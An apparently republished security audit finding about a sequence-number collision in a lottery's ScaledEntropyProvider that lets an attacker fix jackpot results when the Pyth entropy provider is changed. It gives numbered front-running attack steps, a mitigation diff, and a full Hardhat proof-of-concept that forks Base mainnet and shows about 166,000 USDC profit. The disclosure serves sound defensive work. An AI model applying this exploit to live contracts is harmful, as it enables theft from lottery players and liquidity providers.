Changes to Pyth entropy provider used by ScaledEntropyProvider allow attacker to fix jackpot result
The ScaledEntropyProvider stored pending randomness requests keyed only by sequence number, not by the Pyth entropy provider address. When the admin switched to a new provider, an attacker could pre-register a request at a sequence number that the new provider would later reuse, causing the jackpot to use the attacker's predetermined numbers.
Submitted by hgrano
Finding description and impact
When the Jackpot requests entropy from the ScaledEntropyProvider during Jackpot::runJackpot, the ScaledEntropyProvider tracks each request by the sequence number returned from the Pyth Network Entropy contract:
function requestAndCallbackScaledRandomness(
uint32 _gasLimit,
SetRequest[] memory _requests,
bytes4 _selector,
bytes memory _context
)
external
payable
returns (uint64 sequence)
{
// We assume that the caller has already checked that the fee is sufficient
if (msg.value < getFee(_gasLimit)) revert InsufficientFee();
if (_selector == bytes4(0)) revert InvalidSelector();
_validateRequests(_requests);
sequence = entropy.requestV2{value: msg.value}(entropyProvider, _gasLimit);
_storePendingRequest(sequence, _selector, _context, _requests);
}
// [...]
function _storePendingRequest(
uint64 sequence,
bytes4 _selector,
bytes memory _context,
SetRequest[] memory _setRequests
) internal {
pending[sequence].callback = msg.sender;
pending[sequence].selector = _selector;
pending[sequence].context = _context;
for (uint256 i = 0; i < _setRequests.length; i++) {
pending[sequence].setRequests.push(_setRequests[i]);
}
}
The entropyProvider storage variable used above is the Pyth entropy provider. For each Pyth entropy provider, the sequence number is a unique value (incremented with each requestV2 call). The problem is that different Pyth entropy providers may share the same sequence number at some point. We can see the sequence numbers are tracked per provider address by the Pyth Entropy contract here.
Consider this scenario:
- Attacker observes from the mempool that the owner is about to call
ScaledEntropyProvider::setEntropyProviderto change Pyth entropy provider to a new address. - Attacker front-runs the admin by calling
ScaledEntropyProvider::requestAndCallbackScaledRandomnesswhich registers their callback ats, the current sequence number. They provide_requestsof length 2 where the first element specifies 5 samples withminRange = 1andmaxRange = 5- without replacement (this will always produce the same selection of all numbers 1 to 5). The second element - for the bonus ball - can haveminRange = maxRange = 1so the result is always pre-determined to be1. The attacker can use any account/contract with callback that reverts, there by in caseScaledEntropyProvider::_entropyCallbackis executed for their callback, the storage valuepending[s]is never cleared due to the revert on ScaledEntropyProvider.sol:253. - Admin’s call to
ScaledEntropyProvider::setEntropyProvideris executed. Let’s assume the current sequence number of the new Pyth entropy provider is less thans. - Attacker buys one or more lottery tickets with numbers to match the desired outcome from step 2.
- Attacker directly calls
Entropy::requestV2for the new Pyth entropy provider until its sequence number reachess - 1. - In the same transaction as the previous step, the attacker calls
Jackpot::runJackpotwhich will causepending[s]to be modified:callback,selectorandcontextare over-written to the values required by theJackpot. Requests will be appended onto the end ofpending[s].setRequests, but the attacker’s original requests are left as-is. - New Pyth entropy provider will call
Entropy::revealwhich causesJackpot::scaledEntropyCallbackto be executed and only the attacker’s desired “random” numbers will be used (as they are at indices 0 and 1 in the_randomNumbersarray). - Attacker will have the winning ticket and can claim their winnings.
Impact:
Attacker forces the outcome of the jackpot and claims the winning ticket at the expense of honest users and LPs.
Notes on attack feasibility:
If, in the case the new entropy provider has higher sequence number than the old one, it is possible for the attacker to front run the admin change and directly call Entropy::requestV2 several times for the old provider until its sequence number exceeds that of the new provider.
At the time of writing this submission, the sequence number for the default provider of the Entropy contract on Base mainnet is in the order of a few hundred thousand. If the difference between the old and new provider sequence numbers are at this order of magnitude, thereby requiring the attacker call Entropy::requestV2 about this many times, then this does incur a significant cost. However, if we consider the gas price of a layer 2 like Base and the potential earnings the attacker can make from the lottery win, the attack is still feasible. The attacker could split the calls up across different transactions/blocks as necessary. Additionally, if the new provider has lower sequence number than the old one, the attacker could just wait until the sequence number catches up due to normal use of the Pyth network.
Conclusion: any time the admin changes the Pyth entropy provider, they put the protocol at significant risk of being exploited.
Recommended mitigation steps
Consider changing the ScaledEntropyProvider to store requests based on sequence number and entropy provider. E.g. use a nested mapping:
--- a/contracts/ScaledEntropyProvider.sol
+++ b/contracts/ScaledEntropyProvider.sol
@@ -68,7 +68,7 @@ contract ScaledEntropyProvider is Ownable, IScaledEntropyProvider, IEntropyConsu
IEntropyV2 private entropy;
address private entropyProvider;
- mapping(uint64 => PendingRequest) private pending;
+ mapping(address => mapping(uint64 => PendingRequest)) private pending;
Expand for detailed Proof of Concept
Proof of Concept
Change networks.hardhat config section in hardhat.config.ts to this:
hardhat: {
chainId: 31337,
allowUnlimitedContractSize: true,
forking: {
url: process.env.MAINNET_RPC_URL!, // make sure to set this env variable to Base mainnet
blockNumber: 37973769, // block number I tested with
enabled: true,
},
gasPrice: 1000000000
}
Add a new file under contracts/interfaces called IEntropyV2Complete.sol with the below code:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IEntropyV2 } from "@pythnetwork/entropy-sdk-solidity/IEntropyV2.sol";
interface IEntropyV2Complete is IEntropyV2 {
struct Request {
// Storage slot 1 //
address provider;
uint64 sequenceNumber;
// The number of hashes required to verify the provider revelation.
uint32 numHashes;
// Storage slot 2 //
// The commitment is keccak256(userCommitment, providerCommitment). Storing the hash instead of both saves 20k gas by
// eliminating 1 store.
bytes32 commitment;
// Storage slot 3 //
// The number of the block where this request was created.
// Note that we're using a uint64 such that we have an additional space for an address and other fields in
// this storage slot. Although block.number returns a uint256, 64 bits should be plenty to index all of the
// blocks ever generated.
uint64 blockNumber;
// The address that requested this random number.
address requester;
// If true, incorporate the blockhash of blockNumber into the generated random value.
bool useBlockhash;
// True if this is a request that expects a callback.
bool isRequestWithCallback;
}
event RequestedWithCallback(
address indexed provider,
address indexed requestor,
uint64 indexed sequenceNumber,
bytes32 userRandomNumber,
Request request
);
// Register msg.sender as a randomness provider. The arguments are the provider's configuration parameters
// and initial commitment. Re-registering the same provider rotates the provider's commitment (and updates
// the feeInWei).
//
// chainLength is the number of values in the hash chain *including* the commitment, that is, chainLength >= 1.
function register(
uint128 feeInWei,
bytes32 commitment,
bytes calldata commitmentMetadata,
uint64 chainLength,
bytes calldata uri
) external;
function revealWithCallback(
address provider,
uint64 sequenceNumber,
bytes32 userRandomNumber,
bytes32 providerRevelation
) external;
}
Replace the contents of C4PoC.spec.ts with the below code:
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import { IEntropyV2Complete } from "../../typechain-types";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProvider,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { EventLog, keccak256, Log } from "ethers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProvider;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
let entropy: IEntropyV2Complete;
let pythEntropyProvider: Account;
let pythEntropyProvider2: Account;
const providerContribution = ethers.encodeBytes32String("hello");
const providerContribution2 = ethers.keccak256(providerContribution);
beforeEach(async () => {
[
owner,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
pythEntropyProvider,
pythEntropyProvider2
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
// Give some USDC to the attacker
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(5000));
await usdcMock
.connect(buyerOne.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
entropy = await ethers.getContractAt(
"IEntropyV2Complete",
"0x6e7d74fa7d5c90fef9f0512987605a6d546181bb" // Pyth Entropy contract from Base mainnet
);
entropyProvider = await jackpotSystem.deployer.deployScaledEntropyProvider(
await entropy.getAddress(),
pythEntropyProvider.address
);
// Register different entropy providers for testing
await entropy.connect(pythEntropyProvider.wallet).register(
64,
ethers.keccak256(providerContribution2),
"0x00", // commitment metadata (not used)
1024,
"0x00" // uri (not used)
);
await entropy.connect(pythEntropyProvider2.wallet).register(
64,
ethers.keccak256(providerContribution2),
"0x00", // commitment metadata (not used)
1024,
"0x00" // uri (not used)
);
// Setup the scenario such that the `pythEntropyProvider` currently used by the lottery system is at sequence number 2
// (while `pythEntropyProvider2` - which the admin will switch to use later - is behind at sequence number 1)
const initContrib = ethers.encodeBytes32String("test");
const initFee = await entropy["getFeeV2(address,uint32)"](pythEntropyProvider.address, 0);
await entropy.requestV2(pythEntropyProvider.address, keccak256(initContrib), 0, {value: initFee});
const pythEntropyProviderInfo = await entropy.getProviderInfoV2(pythEntropyProvider.address);
expect(pythEntropyProviderInfo.sequenceNumber).to.equal(2, "Should be at sequence number 2");
const pythEntropyProviderInfo2 = await entropy.getProviderInfoV2(pythEntropyProvider2.address);
expect(pythEntropyProviderInfo2.sequenceNumber).to.equal(1, "Should be at sequence number 1");
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000));
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1000000));
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("PoC", async () => {
it("demonstrates the C4 submission's validity", async () => {
// Attacker calls `requestAndCallbackScaledRandomness` such that the result is garantueed:
// The first sample set will always be [1,2,3,4,5] and the second is always [1], regardless of the random number
const setRequests = [
{
samples: 5,
minRange: 1,
maxRange: 5,
withReplacement: false
},
{
samples: 1,
minRange: 1,
maxRange: 1,
withReplacement: false
}
];
const gasLimit = 100_000;
const fee = await entropyProvider.getFee(gasLimit);
await entropyProvider
.connect(buyerOne.wallet)
.requestAndCallbackScaledRandomness
.staticCall(
gasLimit,
setRequests,
"0x12345678",
ethers.encodeBytes32String("context"),
{ value: fee }
);
// Attacker requests randomness which will use identical sequence number as that of a subsequent call to `jackpot.runJackpot`
const requestRandomTx = await entropyProvider
.connect(buyerOne.wallet)
.requestAndCallbackScaledRandomness(
gasLimit,
setRequests,
"0x12345678",
ethers.encodeBytes32String("context"),
{ value: fee }
);
// Extract userContribution from the transaction logs
const requestRandomReceipt = await requestRandomTx.wait();
const eventSignature = entropy.interface.getEvent("RequestedWithCallback").topicHash;
const event = requestRandomReceipt!.logs
.filter((log): log is Log => log instanceof ethers.Log).find(
(log) => log.topics[0] === eventSignature
);
const userContribution = entropy.interface.parseLog(event!)?.args[3];
await entropyProvider
.connect(owner.wallet)
.setEntropyProvider(pythEntropyProvider2.address);
// Attacker advances the sequence number of `pythEntropyProvider2`, so that after the system switches to use this provider,
// the sequence number will match
const initFee = await entropy["getFeeV2(address,uint32)"](pythEntropyProvider2.address, 0);
await entropy
.connect(buyerOne.wallet)
.requestV2(pythEntropyProvider2.address, keccak256(ethers.encodeBytes32String("test")), 0, {value: initFee});
// Attacker buys several of the winning ticket
await jackpot.connect(buyerOne.wallet).buyTickets(
Array(10).fill({normals: [1, 2, 3, 4, 5], bonusball: 1}),
buyerOne.address,
[],
[],
ethers.encodeBytes32String("source")
);
const userTicketIds = (await jackpotNFT.getUserTickets(buyerOne.address, 1)).map(t => t.ticketId);
await time.increase(jackpotSystem.deploymentParams.drawingDurationInSeconds + BigInt(1));
const entropyFee: bigint = ether(0.00005);
const entropyBaseGasLimit: bigint = BigInt(1000000);
const entropyVariableGasLimit: bigint = BigInt(250000);
const drawingState = await jackpot.getDrawingState(1);
await jackpot
.connect(buyerOne.wallet)
.runJackpot({value: entropyFee + ((entropyBaseGasLimit + entropyVariableGasLimit * drawingState.bonusballMax) * BigInt(1e7))});
// Entropy provider gives the random number
await entropy.connect(pythEntropyProvider.wallet).revealWithCallback(
pythEntropyProvider.address,
2,
userContribution,
providerContribution
);
const userInitUSDCBal = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).claimWinnings(userTicketIds);
const finalUSDCBal = await usdcMock.balanceOf(buyerOne.address);
console.log("Balance change: ", finalUSDCBal - userInitUSDCBal);
}).timeout(60 * 15 * 1000);
});
});
The test logs indicate the attacker makes about 166,000 USDC profit in this example.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The pending mapping was keyed only by sequence number, so requests from different entropy providers could collide.
Impact
The attacker could force the jackpot outcome and claim winnings at the expense of honest users and LPs, though the attack requires many calls and may be costly depending on sequence number differences.
What the attacker needed
Admin changes entropy provider; attacker can front-run the change; attacker can pay gas for many requests
The fix
The pending requests should be stored in a nested mapping keyed by both entropy provider address and sequence number.
How it was found
- Attacker sees in the mempool that the owner is about to change the entropy provider.
- Attacker front-runs by calling requestAndCallbackScaledRandomness with fixed requests that always produce the same numbers, using a callback that reverts so the pending entry is not cleared.
- Admin's setEntropyProvider call executes, switching to a new provider whose sequence number is lower than the attacker's.
- Attacker buys lottery tickets matching the predetermined numbers.
- Attacker calls Entropy::requestV2 on the new provider until its sequence number reaches one less than the attacker's stored sequence.
- In the same transaction, attacker calls Jackpot::runJackpot, which overwrites the callback and context of the pending entry but leaves the attacker's original setRequests.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lottery contract asks an outside service for random numbers. It remembers each request by a simple counter number. If the lottery switches to a different random-number service, that new service also starts counting from its own number, so the same counter value can appear twice. An attacker can plant a fake request under that counter value before the switch, so when the lottery later asks for randomness, it picks up the attacker's fixed numbers instead of real ones.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.